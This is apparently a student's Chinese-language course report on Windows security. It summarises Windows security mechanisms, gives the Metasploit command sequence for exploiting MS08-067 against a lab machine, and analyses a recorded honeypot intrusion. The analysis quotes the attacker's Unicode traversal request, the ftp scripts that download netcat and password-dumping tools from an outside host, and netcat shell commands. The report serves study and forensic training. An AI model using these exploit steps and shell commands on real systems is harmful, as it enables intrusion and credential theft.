20199121《网络攻防实践》第七周作业

前言

问题 回答
这个作业属于那个课程 网络攻防实践
这个作业的要求在哪里 《网络攻防实践》第七周作业
学习内容 第七章 Windows操作系统安全攻防

1.知识点梳理与总结

Windows的基本结构

Windows操作系统分为运行于处理器特权模式的操作系统内核,以及运行在处理器非特权模式的用户空间代码。下图为Windows操作系统的基本结构。

  • 内核态:Windows执行体(基本系统服务)、Windows内核(如线程调度等)体、设备驱动程序、硬件抽象层、Windows窗口与图形界面接口。

  • 用户态:系统支持进程、环境子系统服务进程(环境是指系统展示给用户的个性化部分)、服务进程、用户应用软件、核心子系统DLL。

  • Windows内核核心机制

    • Windows进程和线程管理机制:进程拥有一个进程描述符,描述一些地址空间和打开的文件等共享资源,进程中包含指向不同线程的指针,这些线程没有进程描述符,只描述一些少量的独有的资源,线程共享进程的资源。

    • Windows内存管理机制:分为系统核心内存区间(内核执行模块)和用户内存区间(用户程序执行模块)。

    • Windows文件管理机制:NTFS文件管理系统、可执行采用PE格式,主要由Dos头、PE头、分段表、以及具体的代码段和数据段组成。

    • Windows注册表管理机制:Windows注册表在系统的全局配置、用户和应用软件配置信息担任重要的角色。

    • Windows网络管理机制:网络组件模块包括:各种网卡硬件的设备驱动程序、NDIS库及miniport驱动程序、TDI传输层、网络API DLL及TDL客户端、应用程序与服务进程。各模块对应的OSI网络模型层如下:

Windows的安全机制

Windows操作系统基于引用监控器模型来实现基本的对象安全模型,引用监控器模型即系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录也都由引用监控器生成审计日志。

基于引用监控器这一经典安全模型,Windows的安全体系结构图如下。最核心的是位于内核中的SRM安全引用监控器、位于用户态的LSASS安全服务。

  • 身份认证机制

    • Windows以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类。对每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。
    • Windows为每个用户和计算机设置账户进行管理,本地Administrator和SYSTEM账户拥有最高权限;Windows支持本地身份认证和网络身份认证两种方式,分别对在本地系统登录和远程网络访问的主体进行合法性验证。
  • 授权与访问控制机制

    • Windows的授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。
    • 对于系统中所有需要保护的资源都抽象成对象:文件,目录,注册表键值,内核对象,同步对象,私有对象,管道,内存,通信接口。
    • 每个对象关联一个SD安全描述符:Owner SID,Group SID,DACL自主访问控制列表,SACL系统审计访问控制列表。
  • 安全审计机制

    • LSASS服务保存审计策略,SRM在进行对象访问授权时,也将审计记录发送给LSASS服务,再由EventLog服务进行写入记录。
  • 其他安全机制

    • 安全中心(防火墙、补丁、病毒防护),IPsec加载和验证机制,EPS加密文件系统,文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制等。

Windows远程安全攻防技术

  • Windows远程攻击技术分为

    • 1)远程口令猜测与破解攻击:口令的暴力破解、基于字典的猜测、中间人身份认证欺骗攻击
    • 2)攻击Windows网络服务:Windows独有的SMB、MSRPC、NETBIOS,常见互联网服务IIS、MS、SQL等。
    • 3)攻击Windows客户端及用户:针对web服务器、第三方应用软件的客户端渗透攻击;以及利用社会工程学技巧诱骗用户执行恶意代码或流氓软件。
  • 远程口令猜测

    • 攻击渠道:SMB协议,其他网络服务包括WMI服务、TS远程桌面终端服务,mysql数据库服务、SharePoint。
    • 工具:Legion、enum、smbgrind、NTScan、XScan、流光。
    • 原理:SMB服务决定授予网络用户对所请求的共享文件或打印机的访问权之前,会先进行身份验证,此时用户输入正确口令,攻击者对系统实施远程口令字猜测攻击。由于系统中存在大量弱口令,使得远程口令猜测成为可能。
  • 远程口令窃听与破解

    • 攻击渠道:NTLM、Lanman、NTLMV2和kerberos网络认证协议的弱点。
    • 工具:L0phtcrack、Cain and Abel
  • 防范措施:最根本的是用户设置强口令;其次有尽量关闭不必要开放的易受远程口令猜测攻击网络服务;配置主机防火墙来限制对上述端口的服务、利用网络防火墙来限制服务等。

  • 网络服务远程渗透攻击

    • 目标:针对NETBIOS服务的攻击(Windows局域网联网的基本支持,基本输入/输出系统);针对SMB服务的攻击(文件与打印共享);针对MSRPC服务的攻击(远程过程调用)。
    • 防范措施:从设计开发根源上减少安全漏洞的出现,及时进行漏洞补丁修护,尽可能快速更新与应用软件安全补丁;在安全漏洞从被意外公布和利用到补丁发布的这段“零日”漏洞时间中,管理员要尽快对安全敏感的服务器做测试和实施可用的攻击缓解配置;利用服务软件厂商及社区提供的安全核对清单来对服务进行安全配置,利用一些安全插件,利用漏洞扫描软件扫描漏洞及时进行修复。

Windows本地安全攻防技术

  • Windows本地特权提升

    • 途径:通过DLL注入、破解本地程序安全漏洞提升本地特权。
    • 防范措施:及时打补丁、及时跟进厂家的安全警告。
  • Windows敏感信息窃取

    • 途径:包括windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等手段。
    • 防范措施:使用安全度高、能抵挡破解的口令
  • Windows消踪灭迹

    • 途径:关闭审计功能、清理事件日志。
    • 防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。
  • Windows远程控制与后门程序

    • 攻击者在已攻陷的主机上植入远程控制和后门程序,以维持持久的控制权。
    • 工具:命令行远控工具(Netcat,psexec,meterpreter),图形化远控工具(VNC,RemoteAdmin,PCanyware)。
    • 防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。

2.实践

动手实践:Metasploit Windows Attack

Metasploit软件介绍

  • Metasploit是一款开源安全漏洞检测工具,附带数百个已知的软件漏洞,并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。

  • 概念

    • 渗透攻击(Exploit):指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。
    • 攻击载荷(Payload):是我们期望目标系统在被渗透攻击之后去执行的代码。
    • Shellcode:是在渗透攻击是作为攻击载荷运行的一组机器指令,通常用汇编语言编写。
    • 模块(Module):指Metasploit框架中所使用的一段软件代码组件,可用于发起渗透攻击或执行某些辅助攻击动作。
    • 监听器(Listener):是Metasploit中用来等待网络连接的组件。
  • 常见命令【以本次攻击为例】

search ms08-067 //查找metasploit框架中所有的渗透攻击和其他模块
use exploit/windows/smb/ms08_067_netapi //选择并加载模块
set payload windows/meterpreter/bind_tcp //设置攻击载荷
show options //查看需要设置的配置参数
set XXXX xxxxxx //设置配置参数(ip或端口)
exploit或run //攻击
  • Metasploit框架如下图

实践

  • 题目:使用Windows Attacker/BT4攻击机尝试对Windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权。

  • 实践步骤

    • 启动metasploit软件,使用msfconsole、msfgui、msfweb之一。
    • 使用exploit:windows/smb/ms08_067_netapi渗透攻击模块
    • 选择攻击PAYLOAD为远程shell
    • 设置渗透攻击参数(RHOST、LHOST、TARGET等)
    • 执行渗透攻击
    • 查看是否正确得到远程shell,并查看获得的权限。
  • 说明

  • 实践过程

1)在kali中启动Metasploit

service postgresql start  //启动PostgreSQL服务
msfdb init  //初始化Metasploit PostgreSQL数据库
msfconsole  //启动metasploit

2)使用命令search ms08_067查看漏洞详情,其返回的模块名称即我们要用的模块,使用命令use windows/smb/ms08_067_netapi表明将ms08_067作为目标漏洞。

3)使用命令show payloads查看有效的攻击载荷,使用命令set payload generic/shell_reverse_tcp设置攻击的载荷为tcp的反向连接。教学视频中使用的载荷是set payload windows/meterpreter/reverse_tcp,后发现无法与靶机建立连接,原因有待考究。

4)使用命令show options查看需要设置的参数,即攻击机与靶机的IP地址。使用命令set LHOST 192.168.0.16设置攻击机kali;set RHOST 192.168.0.13设置靶机win2kserver。

5)使用命令show targets查看可设置的操作系统类型,使用命令set TARGET 0表示自动识别。

6)使用命令exploit开始渗透,返回靶机shell,使用命令mkdir success在C盘目录下新建文件夹success,使用命令dir查看目录所有文件。打开靶机C盘进行验证。

实践作业:取证分析实践——解码一次成功的NT系统破解攻击

  • 题目:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为lab.wiretrip.net),根据整个攻击过程的二进制记录文件snort-0204@0117.log,回答下列问题。
    • 攻击者使用了什么破解工具进行攻击?
    • 攻击者如何使用这个破解工具进入并控制了系统?
    • 攻击者获得系统访问权限后做了什么?
    • 我们如何防止这样的攻击?
    • 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

分析过程

  • 1)攻击者使用何种破解工具进行攻击

看到一堆数据包实在头大,先用snort扫描进行分析。使用命令snort -r snort-0204@0117.log -c snort.conf -K ascii,在/var/log/snort目录下查看alert文件。

总结了几种出现次数较多的告警信息:
WEB-IIS msadcs.dll accessWEB-IIS MDAC Content-Type overflow attempt。前者为msadcs.dll访问,该dll文件为MDAC RDS控件服务程序,存在已知的安全漏洞;后者为MDAC溢出攻击尝试。故这里利用了MDAC RDS漏洞(MS02-065)。

WEB-MISC http directory traversal为web目录遍历报警。在Google上搜索,发现此处利用的是Unicode漏洞。
详细信息可以参考Directory traversal attack

此外,还有一个有用的告警信息,WEB-MISC nc.exe attempt,经查阅,发现nc.exe就是前面提到过的瑞士军刀后门程序。故这里是通过nc构建的远程shell连接。

接下来使用wireshark打开数据包进行分析,可以验证刚刚的报警信息。使用命令ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106筛选攻击机与靶机的数据包。

攻击机在访问http://lab.wiretrip.net/guest/default.asp后成功打开NT系统启动文件boot.ini,其request为GET /guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1 ,其中%C0%AF为'/'的Unicode编码。

其后攻击机探测/msadc/msadc.dll的存在(编号130、140),并通过msadc.dll中的RDS漏洞进行了SQL注入(编号149),尝试执行命令cmd /c echo werd>>c:fun,根据特征字符串ADM!ROX!YOUR!WORLD可以确定是由msadc2.pl工具发起的攻击。

  • 2)攻击者如何使用这个破解工具进入并控制系统

从会话1778-80开始,攻击者开始了一连串的攻击动作,通过追踪TCP流,获取攻击者执行的命令如下。可以发现,攻击者创建了一个ftpcom脚本,并使用ftp连接www.nether.net,尝试下载 samdump.dll、pdump.exe和nc.exe,nc.exe就是我们前面提到的后门程序,再一次证实前面的分析是没错的。

session1778-80  "cmd /c echo user johna2k > ftpcom"
session1780-80  "cmd /c echo hacker 2000 >> ftpcom"
session1782-80  "cmd /c echo get samdump.dll >> ftpcom" 
session1784-80  "cmd /c echo get pdump.exe >> ftpcom" 
session1786-80  "cmd /c echo get nc.exe>>ftpcom"
session1789-80  "cmd /c echo quit>>ftpcom" 
session1791-80  "cmd /c ftp – s : ftpcom- n www.nether.net" 

会话1791-80之后,攻击者开始进行ftp连接,但由于登录口令错误没有成功下载文件(no.313)。

接下来攻击者做了很多尝试:

  • 创建另一个脚本ftpcom2,试图将破解的口令new.pass上传到FTP上,由于口令错误没有成功;
  • 通过msadc2.pl工具使蜜罐主机向自己发起连接,但由于该FTP连接是非交互模式,RDS不支持交互。故攻击者无法向蜜罐主机输入指令;
  • 攻击者从RDS攻击转向Unicode攻击,从会话1874-80开始执行了如下命令。

终于连接成功,下载指定文件,通过nc构建了一个远程shell通道。

session1874-80  "copy C:winntsystem32cmd.exe cmd1.exe"
session1875-80  "cmd1.exe /c open 213.116.251.162 >ftpcom"
session1876-80  "cmd1.exe /c echo johna2k >>ftpcom"
session1877-80  "cmd1.exe /c echo haxedj00 >>ftpcom"
session1879-80  "cmd1.exe /c echo get nc.exe >>ftpcom"
session1880-80  "cmd1.exe /c echo get pdump.exe >>ftpcom"
session1881-80  "cmd1.exe /c echo get samdump.dll >>ftpcom"
session1882-80  "cmd1.exe /c echo quit >>ftpcom"
session1885-80  "cmd1.exe /c ftp -s:ftpcom"

攻击者使用命令cmd1.exe /c nc -l -p 6969 -e cmd1.exe连接6969端口(会话1887-80),获得访问权,进去交互式控制阶段。

  • 3)攻击者获得系统访问权限后做了什么

攻击者希望获得本地Administrator权限,首先尝试信息搜集,运行net session但访问受限,又执行net users,返回主机的用户列表只有一个Administrator。

攻击者发了一个echo消息到C盘根目录文件,又尝试通过net group查看组用户、net localgroup查看本地组用户、以及net group domain admins,均失败。接下来他又做了好多好多努力但是都失败了,既然失败了就先不分析了,然后攻击者放弃了使用pdump直接提取Administrator口令密文的企图,开始转向获取SAM口令文件并破解的方法。

一通尝试之后,攻击者通过RDS正确指令语法rdisk /s-(备份关键系统信息)将SAM保存为c:har.txt

从会话1987-80,攻击者执行指令为nc -l -p 6968 -e cmd1.exe,通过Unicode攻击再次启动了一个netcat服务。

中间他又干了一些好像没什么用的事情,最后上传了whisker.tar.gz文件,并删除了所有的ftpcom脚本文件(no.5736)。

  • 4)如何防止这样的攻击【参考答案太完美了

    • 及时修补漏洞,对漏洞打上相应的补丁。
    • 禁用用不着的 RDS 等服务。
    • 防火墙封禁网络内部服务器发起的连接。
    • 为web server 在单独的文件卷上设置虚拟根目录。
    • 使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能。
    • 使用 IIS Lockdown 和 URLScan 等工具加强 web server。
  • 5)攻击者是否警觉了他的目标是一台蜜罐主机?为什么?

攻击者虽然傻傻的走了很多弯路,但还是警觉了这是个陷阱,因为他留下了信息说这是他见过的最好的蜜罐echo best honeypot i've seen till now :) > rfp.txt 真是个机灵鬼 good job!

实践作业:团队对抗实践——Windows系统远程渗透攻击和分析

  • 题目:攻击方使用metaploit选择漏洞进行渗透攻击,获得控制权;防守方使用wireshark监听获得网络攻击的数据包,结合分析过程,获得攻击者IP地址、目的IP地址和端口、攻击发起时间、攻击利用漏洞、攻击使用的shellcode,以及本地执行的命令输入信息。

  • 实践

重复Metasploit Windows Attack实验过程,在此多进行一步,攻击机输入exploit命令前,在靶机用wireshark监听数据包(靶机没有wireshark于是决定在攻击机抓包嘻嘻)。

可以发现攻击机首先发送ARP询问靶机MAC地址,再与靶机三次握手建立连接,然后开始有超多的SMB数据包。这是由于MS08_067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicaliza函数,这个函数存在逻辑错误,会栈缓冲区溢出,攻击者借此获得远程代码执行。

同时还可以确定攻击方IP192.168.0.13,靶机IP192.168.0.16,源端口43281,目的端口445。利用的漏洞:针对SMB网络服务的漏洞;DCERPC解析器拒绝服务漏洞;SPOOLSS打印服务假冒漏洞(MS10-061)。本地执行的命令ipconfig/all

3.学习中遇到的问题及解决

  • 问题:Metasploit Windows Attack时使用载荷windows/meterpreter/reverse_tcp无法建立连接
  • 解决:使用命令show payloads查看有效载荷,然后尝试新载荷,使用generic/shell_reverse_tcp成功~

4.学习感想和体会

  • 最近被虐的太难过了,没啥感想了,唯一想说的就是写参考答案的人也太厉害了,有了参考之后就忍不住想要参考,然后就一直处于【嗯我觉得他说的好有道理。。嗯就是这样。。】

参考资料

原文地址:https://www.cnblogs.com/poziiey/p/12661313.html